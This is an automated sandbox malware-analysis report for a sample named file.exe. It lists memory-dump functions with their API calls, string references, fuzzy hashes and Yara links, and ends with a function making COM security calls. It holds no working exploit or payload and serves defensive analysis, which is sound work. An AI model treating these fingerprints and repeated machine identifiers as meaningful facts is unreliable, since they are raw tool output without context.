Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60adf7125d72e8220a4c3da2974dc466bfed8f145693a51ec0d39c706f355ee5
Instruction ID: 9bd506a6ae3ad6d41a9f312837d9c08659fe93aaf3304faa6b81c1b3872c5b72
Opcode Fuzzy Hash: 60adf7125d72e8220a4c3da2974dc466bfed8f145693a51ec0d39c706f355ee5
Instruction Fuzzy Hash: 79D0923A645A58AFC310CF49E440D41F7B8FB8D670B254466EE0893B20C335FC11CAE0

Function 000BE0F3 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 000BE212
___TypeMatch.LIBVCRUNTIME ref: 000BE320
CatchIt.LIBVCRUNTIME ref: 000BE371
_UnwindNestedFrames.LIBCMT ref: 000BE472
CallUnexpected.LIBVCRUNTIME ref: 000BE48D

Strings

csm, xrefs: 000BE19D
csm, xrefs: 000BE130
csm, xrefs: 000BE249

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4119006552-393685449
Opcode ID: c1de49c0e2432ddfa430e819a5140a58103f94c62c733c0b038a4801f2697a19
Instruction ID: 556ef9f3be1111243183ee61861e58eaaeb20def416a7eb945f2647241ba6b21
Opcode Fuzzy Hash: c1de49c0e2432ddfa430e819a5140a58103f94c62c733c0b038a4801f2697a19
Instruction Fuzzy Hash: 3DB16675C00259EFCF29DFA4C8859EEBBB9FF18310B14416AE8116B212D734EA51CF92

Function 000C5328 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,000C5313,?,?,?,?,?,?,?,?,?), ref: 000C53CE
__alloca_probe_16.LIBCMT ref: 000C5489
__alloca_probe_16.LIBCMT ref: 000C5518
__freea.LIBCMT ref: 000C5563
__freea.LIBCMT ref: 000C5569
__freea.LIBCMT ref: 000C559F
__freea.LIBCMT ref: 000C55A5
__freea.LIBCMT ref: 000C55B5

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 24d3fec5f5fa32250b8dd7924673c1b9ebe8eb22bf6c3a0cf323aad1805a1399
Instruction ID: bd8fbcc1bbc17a1fadfa9f9d1a04fd6ebe8b8a76284bcf3133f93e3bc6a02fcd
Opcode Fuzzy Hash: 24d3fec5f5fa32250b8dd7924673c1b9ebe8eb22bf6c3a0cf323aad1805a1399
Instruction Fuzzy Hash: 2D71E67A900E45ABDF209F548C91FEE77EA9F48356F28001DE915A7282E775EDC0C7A0

Function 000BB150 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 000BB187
___except_validate_context_record.LIBVCRUNTIME ref: 000BB18F
_ValidateLocalCookies.LIBCMT ref: 000BB218
__IsNonwritableInCurrentImage.LIBCMT ref: 000BB243
_ValidateLocalCookies.LIBCMT ref: 000BB298

Strings

csm, xrefs: 000BB22D

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 0af40b514217cf8c54d947b0605912987832f0c50eb53b7aa2b1dc330e9f0ee7
Instruction ID: 21be67020e17d5730af71dcd4e124d9bcbafe7726b460b0677602db79b023d71
Opcode Fuzzy Hash: 0af40b514217cf8c54d947b0605912987832f0c50eb53b7aa2b1dc330e9f0ee7
Instruction Fuzzy Hash: 5741B134A002099FCF10DF68C895AEEBBF4FF05314F148555E919AB392D7B5AA05CB91

Function 000BD85A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,000BD851,000BAF2D,000BA5C4), ref: 000BD868
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 000BD876
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 000BD88F
SetLastError.KERNEL32(00000000,000BD851,000BAF2D,000BA5C4), ref: 000BD8E1

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ba938594f69323c1ae05f58fa7db69130e2be96787aa8dac200f4b39254aa25d
Instruction ID: 8105a49e10bd8e5bf9eba3fe90fc8217e3dbb08d830a2be52d0f6901d65f6daf
Opcode Fuzzy Hash: ba938594f69323c1ae05f58fa7db69130e2be96787aa8dac200f4b39254aa25d
Instruction Fuzzy Hash: 5301B13621A7115EF6642BB8BC86AEE6B84EB427B6B24023FF414550E2FF158C50A250

Function 000C1B74 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\file.exe, xrefs: 000C1B90

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\file.exe
API String ID: 0-1957095476
Opcode ID: 270feb717a628b7ff486c7995d595feed8aaad3153d3f62910afbcedee78d1b1
Instruction ID: 8559eb54f323461ba77e94ceeb161109ac5e2b5c311b6b0d5cef97f7532f813a
Opcode Fuzzy Hash: 270feb717a628b7ff486c7995d595feed8aaad3153d3f62910afbcedee78d1b1
Instruction Fuzzy Hash: 7C218B71604209AFDB64AF65CC81FEE77ADAF12364750862CF82597163EB34EC008BA0

Function 000BBF74 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,D4CEDC35,?,?,00000000,000C760B,000000FF,?,000BC035,00000002,?,000BC0D1,000BD3C0), ref: 000BBFA9
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 000BBFBB
FreeLibrary.KERNEL32(00000000,?,?,00000000,000C760B,000000FF,?,000BC035,00000002,?,000BC0D1,000BD3C0), ref: 000BBFDD

Strings

CorExitProcess, xrefs: 000BBFB3
mscoree.dll, xrefs: 000BBFA2

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: c73d7042ccc61532f9a12f7d49798426b6958b7bd0fe4e3b9cffa485b6834472
Instruction ID: fa453b98090d994d582c0f9d432feae15b393c203dfebff7821c6885f7612773
Opcode Fuzzy Hash: c73d7042ccc61532f9a12f7d49798426b6958b7bd0fe4e3b9cffa485b6834472
Instruction Fuzzy Hash: 22018631A4465AAFEB158F54DC09FBEBBB8FB04B14F044639F811A26D0DBB89900CF94

Function 000C2F3D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 000C2FC2
__alloca_probe_16.LIBCMT ref: 000C308B
__freea.LIBCMT ref: 000C30F2

Part of subcall function 000C0C65: RtlAllocateHeap.NTDLL(00000000,?,-A3400188,?,000B9200,?,?,000B67E7,?,000B6199), ref: 000C0C97

__freea.LIBCMT ref: 000C3105
__freea.LIBCMT ref: 000C3112

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: b35aa6d4d4943fb52d4dc2c04a7adbd5836c04e8d11c40b60d6a7325ffc39db0
Instruction ID: aeffb85912d4e4a95a14ccba54178ee1ff0f69c5c013868d9d50820bd1ff7bc0
Opcode Fuzzy Hash: b35aa6d4d4943fb52d4dc2c04a7adbd5836c04e8d11c40b60d6a7325ffc39db0
Instruction Fuzzy Hash: 4B51BF72610206AFEB249F65CC86FEF7AE9EF44710F29412DFD04D6152EA31DE50DAA0

Function 000BE518 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,000BE41E,?,?,00000000,00000000,00000000,?), ref: 000BE53D
CatchIt.LIBVCRUNTIME ref: 000BE623

Strings

RCC, xrefs: 000BE557
MOC, xrefs: 000BE54F

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 2d53795fda8464a9a27be388ac6daf22e9d7dbb4f761e73f39037440362b2575
Instruction ID: 6e69c17c80cc26e5566d7a9cfab12cbe67320cb5379c4a83ba5f27586ae5bcc0
Opcode Fuzzy Hash: 2d53795fda8464a9a27be388ac6daf22e9d7dbb4f761e73f39037440362b2575
Instruction Fuzzy Hash: 31417A75900249AFCF26CF98CD81AEEBBB5FF48304F188059FA05A7252E735AA50DB51

Function 000C2C7E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,000C2D1A,00000000,?,000D1CD0,?,?,?,000C2C51,00000004,InitializeCriticalSectionEx,000C96F8,000C9700), ref: 000C2C8B
GetLastError.KERNEL32(?,000C2D1A,00000000,?,000D1CD0,?,?,?,000C2C51,00000004,InitializeCriticalSectionEx,000C96F8,000C9700,00000000,?,000BE73C), ref: 000C2C95
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 000C2CBD

Strings

api-ms-, xrefs: 000C2CA2

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: e57341b12df43af15086a996a352ce3333b16d6921555bd18bfb36e54ecf0d02
Instruction ID: 7e9723e3eade129ecb3c3e4e629d42dd36df26fcb393ff993ae5c384aa9d1851
Opcode Fuzzy Hash: e57341b12df43af15086a996a352ce3333b16d6921555bd18bfb36e54ecf0d02
Instruction Fuzzy Hash: 9FE04F30680245BBEF501B60ED4AF5C3E99AB00BA5F144435F90DA85E1E765A810D655

Function 000C3608 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(D4CEDC35,00000000,00000000,?), ref: 000C366B

Part of subcall function 000C2151: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,000BD7D1,?,00000000,?), ref: 000C21B2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 000C38BD
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 000C3903
GetLastError.KERNEL32 ref: 000C39A6

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: ebd95d20d0ff444741c2b07b8947d2f96a2d3aa7558bba13b9a90997a73af006
Instruction ID: 5a58f5b29f5bcb7bda11c1fbfd89672ae24b917d06a1ac519db6b63ac700e657
Opcode Fuzzy Hash: ebd95d20d0ff444741c2b07b8947d2f96a2d3aa7558bba13b9a90997a73af006
Instruction Fuzzy Hash: 21D16CB5D142589FCB15CFA8D880AEDBBB5FF48314F28816EE856EB351D730AA41CB50

Function 000BDF1C Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 000BDFE3
___AdjustPointer.LIBCMT ref: 000BE006
___AdjustPointer.LIBCMT ref: 000BE0A2

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9126e9a1538737da13031b8e1232aa841551cfe5bdd5ec6011ef2f38dedf5b56
Instruction ID: 07e488a72b493eaf1f6998ab53d31df5d3592bb38e762d1e66de7a4be7e5ef1e
Opcode Fuzzy Hash: 9126e9a1538737da13031b8e1232aa841551cfe5bdd5ec6011ef2f38dedf5b56
Instruction Fuzzy Hash: EC51B171615646AFEB29AF10D881BFAB7E4FF10300F14412EE90657292E7B2ED81DB51

Function 000C15D8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 000C2151: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,000BD7D1,?,00000000,?), ref: 000C21B2

GetLastError.KERNEL32 ref: 000C163C
__dosmaperr.LIBCMT ref: 000C1643
GetLastError.KERNEL32(?,?,?,?), ref: 000C167D
__dosmaperr.LIBCMT ref: 000C1684

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: a682963169b7ede2beab781105329080729a5ed20c5893dc1ce6bdf1be4f9d5b
Instruction ID: 73f4104da19c88a089a599e7aa13533eafddf421a39d16f4a97d5bf43cb8aeec
Opcode Fuzzy Hash: a682963169b7ede2beab781105329080729a5ed20c5893dc1ce6bdf1be4f9d5b
Instruction Fuzzy Hash: 9F217C71604205AFDB20AF659881EFEB7ADEF46364B18852CF82997653DB30ED008B90

Function 000C224D Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 000C2255

Part of subcall function 000C2151: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,000BD7D1,?,00000000,?), ref: 000C21B2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 000C228D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 000C22AD

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: c1d3a0abfee4bf10c09321a4f6dd10df3e662d5f926e252b9769d1f20d138023
Instruction ID: 38ca8aca6460c83d917e0dfc03c226efd2e4381d5f89fbf73bb912e46920cc87
Opcode Fuzzy Hash: c1d3a0abfee4bf10c09321a4f6dd10df3e662d5f926e252b9769d1f20d138023
Instruction Fuzzy Hash: F511D2B2501555BFA72127759CCDFBF3A9CDF95395B21042DF902E1502FA24CD0295B1

Function 000C57E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,000C4F51,00000000,00000001,00000000,?,?,000C39FA,?,00000000,00000000), ref: 000C57F7
GetLastError.KERNEL32(?,000C4F51,00000000,00000001,00000000,?,?,000C39FA,?,00000000,00000000,?,?,?,000C3340,00000000), ref: 000C5803

Part of subcall function 000C5860: CloseHandle.KERNEL32(FFFFFFFE,000C5813,?,000C4F51,00000000,00000001,00000000,?,?,000C39FA,?,00000000,00000000,?,?), ref: 000C5870

___initconout.LIBCMT ref: 000C5813

Part of subcall function 000C5835: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,000C57D1,000C4F3E,?,?,000C39FA,?,00000000,00000000,?), ref: 000C5848

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,000C4F51,00000000,00000001,00000000,?,?,000C39FA,?,00000000,00000000,?), ref: 000C5828

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 09a415617fc4f51d2b0c41102865806f7ee5cd54c406cc2585f76e1b0dc69c37
Instruction ID: 36f735df73b36cdca4c49083de7ceb5a06ab4adad3cc3f378c6df51f00f2308a
Opcode Fuzzy Hash: 09a415617fc4f51d2b0c41102865806f7ee5cd54c406cc2585f76e1b0dc69c37
Instruction Fuzzy Hash: F9F01C3A500558BBDF621F91DC08E9E7F66FF487A1F048015FE0896131CA329864DB91

Function 000BDD8C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 000BDD95

Strings

csm, xrefs: 000BDDB7
csm, xrefs: 000BDE28

Memory Dump Source

Source File: 00000000.00000002.1697858605.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.1697837964.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697882973.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697897620.00000000000D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697911255.00000000000D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697924918.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1697937558.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_file.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 69a41c77cd60767d81d6b6b12fa402a506f1c27ad28741b1ae33a5fc5b01b0de
Instruction ID: ad727a549244f7961dc66a07be5650c369a537eef61ad8a0c26791dba8a49be4
Opcode Fuzzy Hash: 69a41c77cd60767d81d6b6b12fa402a506f1c27ad28741b1ae33a5fc5b01b0de
Instruction Fuzzy Hash: AC31D876800255EBCF266F50CC449EAFBA6FF28315B18455BF8644E111E333DC61DB81

Analysis Process: file.exePID: 4348, Parent PID: 1272COMMON

Execution Graph

Execution Coverage:	7.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	48.6%
Total number of Nodes:	243
Total number of Limit Nodes:	16

Executed Functions

Function 00439030 Relevance: 32.1, APIs: 11, Strings: 7, Instructions: 621
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(00443678,00000000,00000001,00443668,00000000), ref: 00439137
SysAllocString.OLEAUT32(13C511C2), ref: 004391B6
CoSetProxyBlanket.COMBASE(0000FDFC,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 004391FC
SysAllocString.OLEAUT32(13C511C2), ref: 00439265
SysAllocString.OLEAUT32(13C511C2), ref: 0043930E
VariantInit.OLEAUT32(?), ref: 00439384

Strings

=3, xrefs: 0043915D
C, xrefs: 004390E6
\, xrefs: 004390F1
Lgfe, xrefs: 00439212
E!q#, xrefs: 00439688, 00439199, 004391B1, 00439230
IK, xrefs: 004393A2
E!q#, xrefs: 004390D3, 004390DD, 004396A7

Memory Dump Source

